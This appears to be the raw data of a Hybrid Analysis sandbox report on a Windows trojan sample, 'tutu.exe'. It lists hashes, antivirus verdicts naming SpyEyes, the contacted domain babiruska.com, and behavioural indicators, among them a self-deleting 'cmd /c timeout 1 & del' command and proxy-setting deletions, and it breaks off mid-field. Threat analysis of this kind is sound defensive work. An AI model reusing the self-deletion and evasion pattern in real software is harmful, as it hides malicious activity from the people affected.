24:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/136wug8odqdqr.js"],"SampleDetailWrapper"] 28:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T483,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Trojan.Generic Sample 37b66f9117a2… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 37b66f9117a2…. Malware family: Trojan.Generic. Threat score 100/100. 16/28 AV engines flagged this file. 7 malicious and 15 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/37b66f9117a2140fa11badad967c09142860d04af9a3564bfe58527d7d7e9270","keywords":["Malicious","Trojan.Generic","malware analysis","sandbox report","threat intelligence","37b66f9117a2140fa11badad967c09142860d04af9a3564bfe58527d7d7e9270"],"about":{"@type":"SoftwareApplication","name":"tutu.exe","applicationCategory":["peexe","executable"],"identifier":"37b66f9117a2140fa11badad967c09142860d04af9a3564bfe58527d7d7e9270","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Trojan.Generic","antivirusDetections":{"malicious":16,"total":28},"behavioralIndicators":{"malicious":7,"suspicious":15},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T52f,"" touched file "C:\Windows\SysWOW64\en-US\msvfw32.dll.mui" "" touched file "C:\Windows\Globalization\Sorting\SortDefault.nls" "" touched file "C:\Windows\SysWOW64" "" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches" "" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches\cversions.1.db" "" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000005.db" "" touched file "C:\Windows\SysWOW64\cmd.exe" "" touched file "C:\Windows\AppPatch\sysmain.sdb" "" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches" "" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches\cversions.1.db" "" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000005.db" "cmd.exe" touched file "C:\Windows\Globalization\Sorting\SortDefault.nls" "cmd.exe" touched file "C:\Windows\AppPatch\sysmain.sdb" "cmd.exe" touched file "C:\Windows\SysWOW64\timeout.exe" "timeout.exe" touched file "C:\Windows\SysWOW64\en-US\timeout.exe.mui" "timeout.exe" touched file "C:\Windows\Globalization\Sorting\SortDefault.nls"26:T447,"" wrote bytes "7d07c07781edbe77ae86bd77c6e0bc77effdbf772d16be776014c077478dbd77a8e2bc776089bd7700000000ad3717778b2d1777b641177700000000" to virtual address "0x73DA1000" (part of module "WSHTCPIP.DLL") "" wrote bytes "c0dfbc771cf9bb77ccf8bb770d64bd7700000000c011d67600000000fc3ed67600000000e013d676000000009457cb7625e0bc77c6e0bc7700000000bc6aca7600000000cf31d676000000009319cb76000000002c32d67600000000" to virtual address "0x75601000" (part of module "NSI.DLL") "" wrote bytes "7111d9017a3bd801ab8b02007f950200fc8c0200729602006cc805001ecdd5017d26d501" to virtual address "0x75E907E4" (part of module "USER32.DLL") "timeout.exe" wrote bytes "c0dfbc771cf9bb77ccf8bb770d64bd7700000000c011d67600000000fc3ed67600000000e013d676000000009457cb7625e0bc77c6e0bc7700000000bc6aca7600000000cf31d676000000009319cb76000000002c32d67600000000" to virtual address "0x75601000" (part of module "NSI.DLL") "timeout.exe" wrote bytes "7111d9017a3bd801ab8b02007f950200fc8c0200729602006cc805001ecdd5017d26d501" to virtual address "0x75E907E4" (part of module "USER32.DLL")27:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAREAAAAAAAAAAAAAAAABGZmZEREAAAAAAAAAAAABHd3d3d3ZEQAAAAAAAAAAGd3eIiIiIdkRAAAAAAAAAd3eI/////4h0RAAAAAAAB3eI////////h0RAAAAAAEd4j/////////h0QAAAAAB3iP/////4d4//h0QAAAAHd4////iPh3h///hkQAAAB3j///dkZ3h3///4dEAAAAd4//92Znd4iP///3RAAABHeP//dof4ePf///+EQAAAd3j/+Hf/h3j/j///hEQAAHd4//93/4d4+Ij//4REAAB3eP//h4d3eIiI//+EZAAASHj///h3eIiPiP//dmQAAAd4//////+P/4///3ZgAAAHh4/////4j4j///hmYAAAB4eP/////4iP//+HZ0AAAAR4eP//////////dndAAAAAd4eI////////h2d2AAAAAEeId4//////+Hd3dAAAAAAEeId3iI/4iHd3d0AAAAAAAEeIh3d3d3d3d3YAAAAAAAAEd4iHd3d3d3dAAAAAAAAAAAd3eId3d3d0AAAAAAAAAAAAR3d4iHd0AAAAAAAAAAAAAAAAZ3cAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//////+AH//+AAf/+AAB//AAAP/gAAB/wAAAP4AAAB8AAAAPAAAADwAAAA4AAAAGAAAABgAAAAYAAAAGAAAABgAAAAYAAAAGAAAABgAAAAYAAAAHAAAADwAAAA8AAAAPgAAAH8AAAD/gAAB/8AAA//gAAf/+AAf//4Af//////w==1b:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"schema_version":"1.0.15","sha256":"37b66f9117a2140fa11badad967c09142860d04af9a3564bfe58527d7d7e9270","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790384787981,"unified_at":"2026-09-26T01:06:27.981Z","metadata":{"hashes":{"sha256":"37b66f9117a2140fa11badad967c09142860d04af9a3564bfe58527d7d7e9270","sha1":"899add7c91dd3c924f9d650562c552d260b83d69","md5":"4a9df9a02acb969a2253ad111d2a0c66","sha512":"ebb13bfbfacb4e0666da5023f62078c0f90041f0c79cf6e7993b5c2ba27a06a631fec4b08bf26965159993ab887763af3e3415ea31e41dfa69b0dece80c7479c","ssdeep":"12288:BR4gVtvs9TaJUPSknYUQnGn5GQwlu9I0hZpI07Veb7DkwC1drHJuJ0ppA/BvlPWg:f4otk9NPrOGn5OIZ6uegwGJU0PA59PWg","ssdeep_chunks":["12288:BR4gVtv","12288:R4gVtvs","12288:4gVtvs9","12288:gVtvs9T","12288:Vtvs9Ta","12288:tvs9TaJ","12288:vs9TaJU","12288:s9TaJUP","12288:9TaJUPS","12288:TaJUPSk","12288:aJUPSkn","12288:JUPSknY","12288:UPSknYU","12288:PSknYUQ","12288:SknYUQn","12288:knYUQnG","12288:nYUQnGn","12288:YUQnGn5","12288:UQnGn5G","12288:QnGn5GQ","12288:nGn5GQw","12288:Gn5GQwl","12288:n5GQwlu","12288:5GQwlu9","12288:GQwlu9I","12288:Qwlu9I0","12288:wlu9I0h","12288:lu9I0hZ","12288:u9I0hZp","12288:9I0hZpI","12288:I0hZpI0","12288:0hZpI07","12288:hZpI07V","12288:ZpI07Ve","12288:pI07Veb","12288:I07Veb7","12288:07Veb7D","12288:7Veb7Dk","12288:Veb7Dkw","12288:eb7DkwC","12288:b7DkwC1","12288:7DkwC1d","12288:DkwC1dr","12288:kwC1drH","12288:wC1drHJ","12288:C1drHJu","12288:1drHJuJ","12288:drHJuJ0","12288:rHJuJ0p","12288:HJuJ0pp","12288:JuJ0ppA","12288:uJ0ppA/","12288:J0ppA/B","12288:0ppA/Bv","12288:ppA/Bvl","12288:pA/BvlP","12288:A/BvlPW","12288:/BvlPWg","24576:BR4gVtv","24576:R4gVtvs","24576:4gVtvs9","24576:gVtvs9T","24576:Vtvs9Ta","24576:tvs9TaJ","24576:vs9TaJU","24576:s9TaJUP","24576:9TaJUPS","24576:TaJUPSk","24576:aJUPSkn","24576:JUPSknY","24576:UPSknYU","24576:PSknYUQ","24576:SknYUQn","24576:knYUQnG","24576:nYUQnGn","24576:YUQnGn5","24576:UQnGn5G","24576:QnGn5GQ","24576:nGn5GQw","24576:Gn5GQwl","24576:n5GQwlu","24576:5GQwlu9","24576:GQwlu9I","24576:Qwlu9I0","24576:wlu9I0h","24576:lu9I0hZ","24576:u9I0hZp","24576:9I0hZpI","24576:I0hZpI0","24576:0hZpI07","24576:hZpI07V","24576:ZpI07Ve","24576:pI07Veb","24576:I07Veb7","24576:07Veb7D","24576:7Veb7Dk","24576:Veb7Dkw","24576:eb7DkwC","24576:b7DkwC1","24576:7DkwC1d","24576:DkwC1dr","24576:kwC1drH","24576:wC1drHJ","24576:C1drHJu","24576:1drHJuJ","24576:drHJuJ0","24576:rHJuJ0p","24576:HJuJ0pp","24576:JuJ0ppA","24576:uJ0ppA/","24576:J0ppA/B","24576:0ppA/Bv","24576:ppA/Bvl","24576:pA/BvlP","24576:A/BvlPW","24576:/BvlPWg","12288:f4otk9N","12288:4otk9NP","12288:otk9NPr","12288:tk9NPrO","12288:k9NPrOG","12288:9NPrOGn","12288:NPrOGn5","12288:PrOGn5O","12288:rOGn5OI","12288:OGn5OIZ","12288:Gn5OIZ6","12288:n5OIZ6u","12288:5OIZ6ue","12288:OIZ6ueg","12288:IZ6uegw","12288:Z6uegwG","12288:6uegwGJ","12288:uegwGJU","12288:egwGJU0","12288:gwGJU0P","12288:wGJU0PA","12288:GJU0PA5","12288:JU0PA59","12288:U0PA59P","12288:0PA59PW","12288:PA59PWg"],"imphash":"53ba517862ee513e95063c655b4b3f4d"},"file_info":{"file_name":"tutu.exe","file_type":["peexe","executable"],"file_type_id":"exe","file_size":693248,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1512406923000,"last_seen":1676487601000,"last_multi_scan":1676487601000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["phishing"]},"stats":{"av":{"malicious_count":16,"suspicious_count":0,"total_engines":28},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":0},"sandbox_signatures":{"informative_count":18,"suspicious_count":15,"malicious_count":7,"total":40},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"aegislab":{"name":"AegisLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Win-Trojan/Sagecrypt.Gen","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan[Spy]/Win32.SpyEyes","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"HEUR/AGEN.1224658","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Trojan.GenericKD.6246998","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"cyren":{"name":"Cyren","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Trojan.GenericKD.6246998 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"a variant of Win32/Kryptik.FZRF trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Trojan ( 0051daa21 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"kaspersky":{"name":"Kaspersky","success":true,"verdict":"malicious","threat_name":"Trojan-Spy.Win32.SpyEyes.bcrr","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"microsoftdefender":{"name":"Microsoft Defender","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.SpyEyes.evibtr","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"malicious","threat_name":"Confidence_95","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicro":{"name":"Trend Micro","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicrohousecall":{"name":"Trend Micro HouseCall","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"malicious","threat_name":"TrojanSpy.SpyEyes","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"malicious","threat_name":"Trojan.SpyEyes.Win32.13884","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Trojan.Generic","sources":[{"report_type":"quickscan","report_id":""}]}]},"sandbox_signatures":[{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)","description":"SetUnhandledExceptionFilter@KERNEL32.dll at 11598-1218-3284ACA5\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00010494-00002488-16810-12-32845A1B\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00010494-00002488-16810-33-328479AA\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00010494-00002488-16810-868-3284ACA5","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-4","sources":[{"report_type":"sandbox","report_id":"5a4d12df7ca3e114fa3550c3"},{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Found strings in conjunction with a procedure lookup that resolve to a known API export symbol","description":"Found reference to API WriteFile@KERNEL32.DLL at 00010494-00002488-16810-47-3284104A","origin":"Hybrid Analysis Technology","relevance":10,"id":"stream-41","sources":[{"report_type":"sandbox","report_id":"5a4d12df7ca3e114fa3550c3"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query machine time","description":"GetSystemTimeAsFileTime@KERNEL32.DLL at 00010494-00002488-16810-208-3284B910","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-2","sources":[{"report_type":"sandbox","report_id":"5a4d12df7ca3e114fa3550c3"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"\"\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\CMD.EXE\")\n \"\" (Path: \"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\CMD.EXE\")","origin":"Registry Access","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"5a4d12df7ca3e114fa3550c3"},{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"babiruska.com\"","origin":"Network Traffic","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"5a4d12df7ca3e114fa3550c3"},{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"level":"informative","category":"General","name":"Contains PDB pathways","description":"\"C:\\THXTime\\MessageInterce.pdb\"","origin":"File/Memory","relevance":1,"id":"string-7","sources":[{"report_type":"sandbox","report_id":"5a4d12df7ca3e114fa3550c3"},{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"\\Sessions\\1\\BaseNamedObjects\\Ad48qw4d6wq84d56as\"\n \"Ad48qw4d6wq84d56as\"\n \"Local\\ZonesLockedCacheCounterMutex\"\n \"Local\\ZonesCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex\"","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"5a4d12df7ca3e114fa3550c3"},{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"level":"informative","category":"General","name":"Runs shell commands","description":"\"/c timeout 1 & del \"C:\\37b66f9117a2140fa11badad967c09142860d04af9a3564bfe58527d7d7e9270.exe\"\" on 2018-1-3.18:31:00.941","origin":"Monitored Target","relevance":5,"id":"target-3","sources":[{"report_type":"sandbox","report_id":"5a4d12df7ca3e114fa3550c3"},{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"Spawned process \"cmd.exe\" with commandline \"/c timeout 1 & del \"C:\\37b66f9117a2140fa11badad967c09142860d04af9a3564bfe58527d7d7e9270.exe\"\" (UID: 00011204-00001924)\n Spawned process \"timeout.exe\" with commandline \"timeout 1\" (UID: 00011210-00002224)","origin":"Monitored Target","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"5a4d12df7ca3e114fa3550c3"},{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"level":"informative","category":"Installation/Persistance","name":"Connects to LPC ports","description":"\"\" connecting to \"\\ThemeApiPort\"","origin":"API Call","relevance":1,"id":"api-16","sources":[{"report_type":"sandbox","report_id":"5a4d12df7ca3e114fa3550c3"}]},{"level":"informative","category":"Installation/Persistance","name":"Contains ability to lookup the windows account name","description":"LookupAccountNameW@ADVAPI32.dll at 11598-1228-3284495F\n LookupAccountNameW@ADVAPI32.DLL at 00010494-00002488-16810-879-3284495F\n LookupAccountNameW@ADVAPI32.DLL at 00010494-00002488-16810-47-3284104A","origin":"Hybrid Analysis Technology","relevance":5,"id":"stream-28","sources":[{"report_type":"sandbox","report_id":"5a4d12df7ca3e114fa3550c3"},{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"level":"informative","category":"Installation/Persistance","name":"Touches files in the Windows directory","description":"$25","origin":"API Call","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"5a4d12df7ca3e114fa3550c3"},{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"Pattern match: \"http://dmd.metaservices.microsoft.com/dms/metadata.svc\"\n Pattern match: \"http://schemas.microsoft.com/windowsmetadata/services/2007/09/18/dms/DeviceMetadataService/GetDeviceMetadata\"\n Pattern match: \"http://www.symauth.com/cps0\"\n Pattern match: \"http://www.symauth.com/rpa0\"\n Pattern match: \"http://www.symauth.com/cps0*\"\n Heuristic match: \"babiruska.com\"","origin":"File/Memory","relevance":10,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"5a4d12df7ca3e114fa3550c3"},{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"\" opened \"\\Device\\KsecDD\"","origin":"API Call","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"5a4d12df7ca3e114fa3550c3"}]},{"level":"informative","category":"Unusual Characteristics","name":"Matched Compiler/Packer signature","description":"\"37b66f9117a2140fa11badad967c09142860d04af9a3564bfe58527d7d7e9270.exe.bin\" was detected as \"VC8 -> Microsoft Corporation\"","origin":"Static Parser","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"5a4d12df7ca3e114fa3550c3"},{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"PE file has unusual entropy sections","description":".rsrc with unusual entropies 7.91212738399","origin":"Static Parser","relevance":10,"id":"static-6","sources":[{"report_type":"sandbox","report_id":"5a4d12df7ca3e114fa3550c3"},{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"level":"suspicious","category":"Environment Awareness","name":"Reads the active computer name","description":"\"\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"5a4d12df7ca3e114fa3550c3"},{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"level":"suspicious","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","relevance":10,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"5a4d12df7ca3e114fa3550c3"},{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"level":"suspicious","category":"External Systems","name":"Found an IP/URL artifact that was identified as malicious by at least one reputation engine","description":"10/66 reputation engines marked \"http://babiruska.com\" as malicious (15% detection rate)","origin":"External System","relevance":10,"id":"avtest-6","sources":[{"report_type":"sandbox","report_id":"5a4d12df7ca3e114fa3550c3"},{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"level":"suspicious","category":"General","name":"Reads configuration files","description":"\"\" read file \"%USERPROFILE%\\Desktop\\desktop.ini\"","origin":"API Call","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"5a4d12df7ca3e114fa3550c3"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Creates new processes","description":"\"\" is creating a new process (Name: \"%WINDIR%\\SysWOW64\\cmd.exe\", Handle: 872)\n \"cmd.exe\" is creating a new process (Name: \"%WINDIR%\\SysWOW64\\timeout.exe\", Handle: 124)","origin":"API Call","relevance":8,"id":"api-2","sources":[{"report_type":"sandbox","report_id":"5a4d12df7ca3e114fa3550c3"},{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Monitors specific registry key for changes","description":"\"\" monitors \"\\REGISTRY\\MACHINE\\SYSTEM\\ControlSet001\\services\\WinSock2\\Parameters\\Protocol_Catalog9\" (Filter: 1; Subtree: 5881344)\n \"\" monitors \"\\REGISTRY\\MACHINE\\SYSTEM\\ControlSet001\\services\\WinSock2\\Parameters\\NameSpace_Catalog5\" (Filter: 1; Subtree: 5881344)","origin":"API Call","relevance":4,"id":"api-12","sources":[{"report_type":"sandbox","report_id":"5a4d12df7ca3e114fa3550c3"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"\"\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")\n \"\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")","origin":"Registry Access","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"5a4d12df7ca3e114fa3550c3"},{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"LookupAccountNameW\n GetModuleFileNameW\n IsDebuggerPresent\n GetModuleFileNameA\n LoadLibraryA\n OpenProcess\n GetCommandLineW\n UnhandledExceptionFilter\n GetStartupInfoW\n GetCommandLineA\n GetProcAddress\n CreateThread\n LoadLibraryW\n GetModuleHandleA\n WriteFile\n GetModuleHandleW\n TerminateProcess\n CreateFileW\n Sleep\n GetTickCount\n GetModuleFileNameExA","origin":"Static Parser","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"5a4d12df7ca3e114fa3550c3"},{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Installs hooks/patches the running process","description":"$26","origin":"Hook Detection","relevance":10,"id":"hooks-8","sources":[{"report_type":"sandbox","report_id":"5a4d12df7ca3e114fa3550c3"},{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Reads information about supported languages","description":"\"\" (Path: \"HKCU\\CONTROL PANEL\\INTERNATIONAL\"; Key: \"LOCALENAME\")","origin":"Registry Access","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"5a4d12df7ca3e114fa3550c3"},{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"level":"malicious","category":"External Systems","name":"Found an IP/URL artifact that was identified as malicious by a significant amount of reputation engines","description":"10/66 reputation engines marked \"http://babiruska.com\" as malicious (15% detection rate)","origin":"External System","relevance":10,"id":"avtest-7","sources":[{"report_type":"sandbox","report_id":"5a4d12df7ca3e114fa3550c3"},{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a large number of Antivirus engines","description":"50/67 Antivirus vendors marked sample as malicious (74% detection rate)","origin":"External System","relevance":10,"id":"avtest-3","sources":[{"report_type":"sandbox","report_id":"5a4d12df7ca3e114fa3550c3"},{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"50/67 Antivirus vendors marked sample as malicious (74% detection rate)","origin":"External System","relevance":8,"id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"5a4d12df7ca3e114fa3550c3"},{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"level":"malicious","category":"Installation/Persistance","name":"Writes data to a remote 